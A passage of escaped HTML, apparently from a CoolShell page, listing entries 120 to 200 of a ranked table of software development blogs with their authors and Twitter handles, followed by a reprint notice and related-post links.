valign=\"top\"><strong>120</strong></td>\n<td align=\"center\" valign=\"top\">95</td>\n<td valign=\"top\"><a href=\"http://www.yourdonreport.com/\">Yourdon Report</a></td>\n<td valign=\"top\">Ed Yourdon</td>\n<td valign=\"top\"><a href=\"http://twitter.com/yourdon\">yourdon</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>121</strong></td>\n<td align=\"center\" valign=\"top\">26</td>\n<td valign=\"top\"><a href=\"http://www.catonmat.net/\">Good coders code, great reuse</a></td>\n<td valign=\"top\">Peteris Krumins</td>\n<td valign=\"top\"><a href=\"http://twitter.com/pkrumins\">pkrumins</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>122</strong></td>\n<td align=\"center\" valign=\"top\">171</td>\n<td valign=\"top\"><a href=\"http://www.jbrains.ca/blog\">Jbrains.ca</a></td>\n<td valign=\"top\">J.B. Rainsberger</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jbrains\">jbrains</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>123</strong></td>\n<td align=\"center\" valign=\"top\">79</td>\n<td valign=\"top\"><a href=\"http://testertested.blogspot.com/\">Tester Tested!</a></td>\n<td colspan=\"2\" valign=\"top\">Pradeep Soundararajan</td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>124</strong></td>\n<td align=\"center\" valign=\"top\">91</td>\n<td valign=\"top\"><a href=\"http://www.codemonkeyism.com/\">Codemonkeyism</a></td>\n<td valign=\"top\">Stephan Schmidt</td>\n<td valign=\"top\"><a href=\"http://twitter.com/codemonkeyism\">codemonkeyism</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>125</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://www.cornetdesign.com/\">Corey Foy</a></td>\n<td valign=\"top\">Corey Foy</td>\n<td valign=\"top\"><a href=\"http://twitter.com/cory_foy\">cory_foy</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>126</strong></td>\n<td align=\"center\" valign=\"top\">146</td>\n<td valign=\"top\"><a href=\"http://www.wrike.com/projectmanagement.htm\">Project Management 2.0</a></td>\n<td valign=\"top\">Andrew Filev</td>\n<td valign=\"top\"><a href=\"https://twitter.com/andrewsthoughts\">andrewsthoughts</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>127</strong></td>\n<td align=\"center\" valign=\"top\">149</td>\n<td valign=\"top\"><a href=\"http://www.thoughtclusters.com/\">Thought Clusters</a></td>\n<td valign=\"top\">Krishna Kumar</td>\n<td valign=\"top\"><a href=\"http://twitter.com/krishami\">krishami</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>128</strong></td>\n<td align=\"center\" valign=\"top\">111</td>\n<td valign=\"top\"><a href=\"http://www.focusedperformance.com/blogger.html\">Focused Performance</a></td>\n<td valign=\"top\">Frank Patrick</td>\n<td valign=\"top\"><a href=\"http://twitter.com/fpatrick\">fpatrick</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>129</strong></td>\n<td align=\"center\" valign=\"top\">182</td>\n<td valign=\"top\"><a href=\"http://availagility.wordpress.com/\">AvailAgility</a></td>\n<td valign=\"top\">Karl Scotland</td>\n<td valign=\"top\"><a href=\"http://twitter.com/kjscotland\">kjscotland</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>130</strong></td>\n<td align=\"center\" valign=\"top\">75</td>\n<td valign=\"top\"><a href=\"http://wordaligned.org/\">Word Aligned</a></td>\n<td valign=\"top\">Thomas Guest</td>\n<td valign=\"top\"><a href=\"http://twitter.com/thomasguest\">thomasguest</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>131</strong></td>\n<td align=\"center\" valign=\"top\">86</td>\n<td valign=\"top\"><a href=\"http://www.notesfromatooluser.com/\">Notes from a Tool User</a></td>\n<td valign=\"top\">Mark Levison</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mlevison\">mlevison</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>132</strong></td>\n<td align=\"center\" valign=\"top\">140</td>\n<td valign=\"top\"><a href=\"http://www.techdarkside.com/\">Information Technology Dark Side</a></td>\n<td valign=\"top\">David Christiansen</td>\n<td valign=\"top\"><a href=\"http://twitter.com/aldos\">aldos</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>133</strong></td>\n<td align=\"center\" valign=\"top\">135</td>\n<td valign=\"top\"><a href=\"http://blog.versionone.net/\">Agile Chronicles</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>134</strong></td>\n<td align=\"center\" valign=\"top\">93</td>\n<td valign=\"top\"><a href=\"http://agileproductdesign.com/blog/\">Jeff Patton’s Holistic Product Design &amp; Development</a></td>\n<td valign=\"top\">Jeff Patton</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jeffpatton\">jeffpatton</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>135</strong></td>\n<td align=\"center\" valign=\"top\">128</td>\n<td valign=\"top\"><a href=\"http://blogs.msdn.com/eric_brechner/\">I.M. Wright’s “Hard Code”</a></td>\n<td valign=\"top\">Eric Brechner</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>136</strong></td>\n<td align=\"center\" valign=\"top\">173</td>\n<td valign=\"top\"><a href=\"http://shapingsoftware.com/\">Shaping Software</a></td>\n<td valign=\"top\">J.D. Meier</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>137</strong></td>\n<td align=\"center\" valign=\"top\">139</td>\n<td valign=\"top\"><a href=\"http://it.toolbox.com/blogs/madgreek/\">Enterprise Architecture &amp; Other Enterprise Topics</a></td>\n<td valign=\"top\">Mike Kavis</td>\n<td valign=\"top\"><a href=\"http://twitter.com/madgreek65\">madgreek65</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>138</strong></td>\n<td align=\"center\" valign=\"top\">56</td>\n<td valign=\"top\"><a href=\"http://blog.davidchelimsky.net/\">David Chelimsky</a></td>\n<td valign=\"top\">David Chelimsky</td>\n<td valign=\"top\"><a href=\"http://twitter.com/dchelimsky\">dchelimsky</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>139</strong></td>\n<td align=\"center\" valign=\"top\">144</td>\n<td valign=\"top\"><a href=\"http://blog.dhananjaynene.com/\">/var/log/mind</a></td>\n<td valign=\"top\">Dhananjay Nene</td>\n<td valign=\"top\"><a href=\"http://twitter.com/dnene\">dnene</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>140</strong></td>\n<td align=\"center\" valign=\"top\">158</td>\n<td valign=\"top\"><a href=\"http://blog.scottbellware.com/\">Scott Bellware</a></td>\n<td valign=\"top\">Scott Bellware</td>\n<td valign=\"top\"><a href=\"http://twitter.com/bellware\">bellware</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>141</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://peripateticaxiom.blogspot.com/\">Peripatetic Axiom</a></td>\n<td valign=\"top\">Keith Braithwaite</td>\n<td valign=\"top\"><a href=\"http://twitter.com/keithb_b\">keithb_b</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>142</strong></td>\n<td align=\"center\" valign=\"top\">161</td>\n<td valign=\"top\"><a href=\"http://www.netobjectives.com/blog\">NetObjectives</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>143</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://techdistrict.kirkk.com/\">@Kirkk.com</a></td>\n<td valign=\"top\">Kirk Knoernschild</td>\n<td valign=\"top\"><a href=\"http://www.twitter.com/pragkirk\">pragkirk</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>144</strong></td>\n<td align=\"center\" valign=\"top\">155</td>\n<td valign=\"top\"><a href=\"http://blog.8thlight.com/\">8th Light Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>145</strong></td>\n<td align=\"center\" valign=\"top\">153</td>\n<td valign=\"top\"><a href=\"http://blogs.msdn.com/steverowe/\">Steve Rowe’s Blog</a></td>\n<td valign=\"top\">Steve Rowe</td>\n<td valign=\"top\"><a href=\"http://twitter.com/steve_rowe\">steve_rowe</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>146</strong></td>\n<td align=\"center\" valign=\"top\">97</td>\n<td valign=\"top\"><a href=\"http://silkandspinach.net/\">Silk and Spinach</a></td>\n<td valign=\"top\">Kevin Rutherford</td>\n<td valign=\"top\"><a href=\"http://twitter.com/kevinrutherford\">kevinrutherford</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>147</strong></td>\n<td align=\"center\" valign=\"top\">138</td>\n<td valign=\"top\"><a href=\"http://pierg.wordpress.com/\">PierG</a></td>\n<td valign=\"top\">Piergiorgio Grossi</td>\n<td valign=\"top\"><a href=\"http://twitter.com/pierg\">pierg</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>148</strong></td>\n<td align=\"center\" valign=\"top\">151</td>\n<td valign=\"top\"><a href=\"http://swizec.com/\">Cthulhu and Other Crazies</a></td>\n<td valign=\"top\">Swizec</td>\n<td valign=\"top\"><a href=\"http://twitter.com/swizec\">swizec</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>149</strong></td>\n<td align=\"center\" valign=\"top\">152</td>\n<td valign=\"top\"><a href=\"http://www.m3p.co.uk/blog\">Steve Freeman</a></td>\n<td valign=\"top\">Steve Freeman</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>150</strong></td>\n<td align=\"center\" valign=\"top\">176</td>\n<td valign=\"top\"><a href=\"http://me.andering.com/\">Me.Andering</a></td>\n<td valign=\"top\">Willem van den Ende</td>\n<td valign=\"top\"><a href=\"http://twitter.com/most_alive\">most_alive</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>151</strong></td>\n<td align=\"center\" valign=\"top\">159</td>\n<td valign=\"top\"><a href=\"http://blog.fedecarg.com/\">fede.carg ( blog )</a></td>\n<td valign=\"top\">Federico Cargnelutti</td>\n<td valign=\"top\"><a href=\"http://twitter.com/fedecarg\">fedecarg</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>152</strong></td>\n<td align=\"center\" valign=\"top\">174</td>\n<td valign=\"top\"><a href=\"http://edgibbs.com/\">Musings of a Software Development Manager</a></td>\n<td valign=\"top\">Ed Gibbs</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>153</strong></td>\n<td align=\"center\" valign=\"top\">147</td>\n<td valign=\"top\"><a href=\"http://requirements.seilevel.com/blog/\">Requirements Defined</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/seilevel\">seilevel</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>154</strong></td>\n<td align=\"center\" valign=\"top\">112</td>\n<td valign=\"top\"><a href=\"http://agilethinking.net/blog/\">Agile Thoughts</a></td>\n<td valign=\"top\">Tobias Mayer</td>\n<td valign=\"top\"><a href=\"http://twitter.com/tobiasgmayer\">tobiasgmayer</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>155</strong></td>\n<td align=\"center\" valign=\"top\">163</td>\n<td valign=\"top\"><a href=\"http://chrissterling.gettingagile.com/\">Chris Sterling’s Blog</a></td>\n<td valign=\"top\">Chris Sterling</td>\n<td valign=\"top\"><a href=\"http://twitter.com/csterwa\">csterwa</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>156</strong></td>\n<td align=\"center\" valign=\"top\">190</td>\n<td valign=\"top\"><a href=\"http://www.agileinaction.com/\">Agile in Action</a></td>\n<td valign=\"top\">Simon Baker</td>\n<td valign=\"top\"><a href=\"http://twitter.com/energizr\">energizr</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>157</strong></td>\n<td align=\"center\" valign=\"top\">103</td>\n<td valign=\"top\"><a href=\"http://www.sunpig.com/martin/\">Legends of the Sun Pig</a></td>\n<td valign=\"top\">Martin Sutherland</td>\n<td valign=\"top\"><a href=\"http://twitter.com/sunpig\">sunpig</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>158</strong></td>\n<td align=\"center\" valign=\"top\">134</td>\n<td valign=\"top\"><a href=\"http://blog.gdinwiddie.com/\">George Dinwiddie’s Blog</a></td>\n<td valign=\"top\">George Dinwiddie</td>\n<td valign=\"top\"><a href=\"http://twitter.com/gdinwiddie\">gdinwiddie</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>159</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://manicprogrammer.com/cs/blogs/willeke/\">Rediscovering the Obvious</a></td>\n<td valign=\"top\">Willeke</td>\n<td valign=\"top\"><a href=\"http://twitter.com/erwilleke\">erwilleke</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>160</strong></td>\n<td align=\"center\" valign=\"top\">141</td>\n<td valign=\"top\"><a href=\"http://agileartisans.com/\">Agile Artisans</a></td>\n<td valign=\"top\">Jared Richardson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jaredrichardson\">jaredrichardson</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>161</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://lithespeed.blogspot.com/\">LitheSpeed’s LitheBlog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>162</strong></td>\n<td align=\"center\" valign=\"top\">177</td>\n<td valign=\"top\"><a href=\"http://www.intergen.co.nz/Blog/\">Intergen Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://www.twitter.com/teamintergen\">teamintergen</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>163</strong></td>\n<td align=\"center\" valign=\"top\">123</td>\n<td valign=\"top\"><a href=\"http://shrinik.blogspot.com/\">Thinking Tester</a></td>\n<td valign=\"top\">Shrini Kulkarni</td>\n<td valign=\"top\"><a href=\"http://twitter.com/shrinik\">shrinik</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>164</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://www.futureworksconsulting.com/blog/\">Partnership &amp; Possibilities</a></td>\n<td valign=\"top\">Diana Larsen</td>\n<td valign=\"top\"><a href=\"http://twitter.com/dianaofportland\">dianaofportland</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>165</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://agileconsortium.blogspot.com/\">Agile &amp; Business</a></td>\n<td valign=\"top\">Joe Little</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jhlittle\">jhlittle</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>166</strong></td>\n<td align=\"center\" valign=\"top\">191</td>\n<td valign=\"top\"><a href=\"http://ctotodevelopers.blogspot.com/\">On Software Development, Agile, Startups, and Social Networking</a></td>\n<td valign=\"top\">Isaac Sacolick</td>\n<td valign=\"top\"><a href=\"http://twitter.com/nyike\">nyike</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>167</strong></td>\n<td align=\"center\" valign=\"top\">127</td>\n<td valign=\"top\"><a href=\"http://jonathanbabcock.com/\">Jonathan Babcock</a></td>\n<td valign=\"top\">Jonathan Babcock</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jonbab1\">jonbab1</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>168</strong></td>\n<td align=\"center\" valign=\"top\">154</td>\n<td valign=\"top\"><a href=\"http://www.agilegamedevelopment.com/blog.html\">Agile Game Development</a></td>\n<td valign=\"top\">Clinton Keith</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>169</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://blog.robbowley.net/\">Rob Bowley</a></td>\n<td valign=\"top\">Rob Bowley</td>\n<td valign=\"top\"><a href=\"http://twitter.com/robbowley\">robbowley</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>170</strong></td>\n<td align=\"center\" valign=\"top\">131</td>\n<td valign=\"top\"><a href=\"http://cauvin.blogspot.com/\">Cauvin</a></td>\n<td valign=\"top\">Roger L. Cauvin</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rcauvin\">rcauvin</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>171</strong></td>\n<td align=\"center\" valign=\"top\">193</td>\n<td valign=\"top\"><a href=\"http://weblogs.asp.net/wallen/\">Wayne Allen’s Weblog</a></td>\n<td valign=\"top\">Wayne Allen</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>172</strong></td>\n<td align=\"center\" valign=\"top\">180</td>\n<td valign=\"top\"><a href=\"http://chrismcmahonsblog.blogspot.com/\">Chris McMahon’s Blog</a></td>\n<td valign=\"top\">Chris McMahon</td>\n<td valign=\"top\"><a href=\"http://twitter.com/cmcmahon\">cmcmahon</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>173</strong></td>\n<td align=\"center\" valign=\"top\">181</td>\n<td valign=\"top\"><a href=\"http://itscommonsensestupid.blogspot.com/\">It’s Common Sense, Stupid</a></td>\n<td valign=\"top\">Soon Hui Ngu</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>174</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://www.sanderhoogendoorn.com/\">Sander Hoogendoorn</a></td>\n<td valign=\"top\">Sander Hoogendoorn</td>\n<td valign=\"top\"><a href=\"http://twitter.com/aahoogendoorn\">aahoogendoorn</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>175</strong></td>\n<td align=\"center\" valign=\"top\">136</td>\n<td valign=\"top\"><a href=\"http://www.jcooney.net/\">Jcooney.NET</a></td>\n<td valign=\"top\">Joseph Cooney</td>\n<td valign=\"top\"><a href=\"http://twitter.com/josephcooney\">josephcooney</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>176</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://blog.mattwynne.net/\">Tea-Driven Development</a></td>\n<td valign=\"top\">Matt Wynne</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>177</strong></td>\n<td align=\"center\" valign=\"top\">120</td>\n<td valign=\"top\"><a href=\"http://www.ytechie.com/\">Ytechie</a></td>\n<td valign=\"top\">Jason Young</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ytechie\">ytechie</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>178</strong></td>\n<td align=\"center\" valign=\"top\">162</td>\n<td valign=\"top\"><a href=\"http://jimmynilsson.com/blog/\">Jimmy Nilsson’s Blog</a></td>\n<td valign=\"top\">Jimmy Nilsson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jimmynilsson\">jimmynilsson</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>179</strong></td>\n<td align=\"center\" valign=\"top\">106</td>\n<td valign=\"top\"><a href=\"http://www.agilecmmi.com/\">Agile CMMI Blog</a></td>\n<td valign=\"top\">Hillel Glazer</td>\n<td valign=\"top\"><a href=\"http://twitter.com/hi11e1\">hi11e1</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>180</strong></td>\n<td align=\"center\" valign=\"top\">183</td>\n<td valign=\"top\"><a href=\"http://www.renaissancesoftware.net/blog/\">James Grenning’s Blog</a></td>\n<td valign=\"top\">James Grenning</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jwgrenning\">jwgrenning</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>181</strong></td>\n<td align=\"center\" valign=\"top\">186</td>\n<td valign=\"top\"><a href=\"http://runningagile.com/\">Running Agile</a></td>\n<td valign=\"top\">Christophe Louvion</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>182</strong></td>\n<td align=\"center\" valign=\"top\">170</td>\n<td valign=\"top\"><a href=\"http://www.wirfs-brock.com/rebeccasblog.html\">Rebecca’s Blog</a></td>\n<td valign=\"top\">Rebecca Wirfs-Brock</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>183</strong></td>\n<td align=\"center\" valign=\"top\">169</td>\n<td valign=\"top\"><a href=\"http://www.spreetree.net/blog/\">Engineering Game Development</a></td>\n<td valign=\"top\">Lee Winder</td>\n<td valign=\"top\"><a href=\"http://twitter.com/spreetree\">spreetree</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>184</strong></td>\n<td align=\"center\" valign=\"top\">198</td>\n<td valign=\"top\"><a href=\"http://simplearchitectures.blogspot.com/\">Simple Architectures for Complex Enterprises</a></td>\n<td valign=\"top\">Roger Sessions</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rsessions\">rsessions</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>185</strong></td>\n<td align=\"center\" valign=\"top\">133</td>\n<td valign=\"top\"><a href=\"http://bartoszmilewski.wordpress.com/\">Bartosz Milewski’s Programming Cafe</a></td>\n<td valign=\"top\">Bartosz Milewski</td>\n<td valign=\"top\"><a href=\"http://twitter.com/BartoszMilewski\">BartoszMilewski</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>186</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://ivarjacobson.wordpress.com/\">Ivar Jacobson’s Blog</a></td>\n<td valign=\"top\">Ivar Jacobson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ivarjacobson\">ivarjacobson</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>187</strong></td>\n<td align=\"center\" valign=\"top\">165</td>\n<td valign=\"top\"><a href=\"http://enterprisearchitect.typepad.com/ea/\">Technology Architecture &amp; Projects</a></td>\n<td valign=\"top\">Robert McIlree</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rmcilree\">rmcilree</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>188</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://drunkenpm.blogspot.com/\">DrunkenPM</a></td>\n<td valign=\"top\">Dave Prior</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mrsungo\">mrsungo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>189</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://www.softwaresweatshop.com/\">Software Sweatshop</a></td>\n<td valign=\"top\">Raza Imam</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>190</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://falkayn.blogspot.com/\">Falkayn’s Nest</a></td>\n<td valign=\"top\">Angus McDonald</td>\n<td valign=\"top\"><a href=\"http://twitter.com/falkayn\">falkayn</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>191</strong></td>\n<td align=\"center\" valign=\"top\">84</td>\n<td valign=\"top\"><a href=\"http://grok-code.com/\">GrokCode</a></td>\n<td valign=\"top\">Jess</td>\n<td valign=\"top\"><a href=\"http://twitter.com/grokcode\">grokcode</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>192</strong></td>\n<td align=\"center\" valign=\"top\">122</td>\n<td valign=\"top\"><a href=\"http://hicks-wright.net/\">Hicks-Wright.net</a></td>\n<td valign=\"top\">Tyler Griffin Hicks-Wright</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>193</strong></td>\n<td align=\"center\" valign=\"top\">167</td>\n<td valign=\"top\"><a href=\"http://andrewtokeley.net/\">Andrew Tokeley</a></td>\n<td valign=\"top\">Andrew Tokeley</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>194</strong></td>\n<td align=\"center\" valign=\"top\">157</td>\n<td valign=\"top\"><a href=\"http://damonpoole.blogspot.com/\">Agile Development Thoughts</a></td>\n<td valign=\"top\">Damon Poole</td>\n<td valign=\"top\"><a href=\"http://twitter.com/damonpoole\">damonpoole</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>195</strong></td>\n<td align=\"center\" valign=\"top\">179</td>\n<td valign=\"top\"><a href=\"http://mult.ifario.us/a\">Mult.ifario.us</a></td>\n<td valign=\"top\">Paul R. Brown</td>\n<td valign=\"top\"><a href=\"http://twitter.com/paulrbrown\">paulrbrown</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>196</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://mattorama.net/blog/\">Matt O’ Rama</a></td>\n<td valign=\"top\">Matt Grommes</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mattgrommes\">mattgrommes</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>197</strong></td>\n<td align=\"center\" valign=\"top\">194</td>\n<td valign=\"top\"><a href=\"http://www.daveliebreich.com/blog/\">A Test Guy</a></td>\n<td valign=\"top\">Dave Liebreich</td>\n<td valign=\"top\"><a href=\"http://twitter.com/atestguy\">atestguy</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>198</strong></td>\n<td align=\"center\" valign=\"top\">150</td>\n<td valign=\"top\"><a href=\"http://www.richarddurnall.com/\">Richard Durnall</a></td>\n<td valign=\"top\">Richard Durnall</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>199</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://www.pols.co.uk/blog/\">Pols Consulting</a></td>\n<td valign=\"top\">Andy Pols</td>\n<td valign=\"top\"><a href=\"http://twitter.com/andy_pols\">andy_pols</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>200</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://agileleadership.blogspot.com/\">On Agile Leadership</a></td>\n<td valign=\"top\">Manfred Lange</td>\n<td valign=\"top\"> </td>\n</tr>\n</tbody>\n</table>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17391.html\"><img alt=\"为什么我不在微信公众号上写文章\" height=\"150\" src=\"../wp-content/uploads/2016/07/Community-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17391.html\">为什么我不在微信公众号上写文章</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8031.html\"><img alt=\"InfoQ的ArchSummit大会对我的采访\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8031.html\">InfoQ的ArchSummit大会对我的采访</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 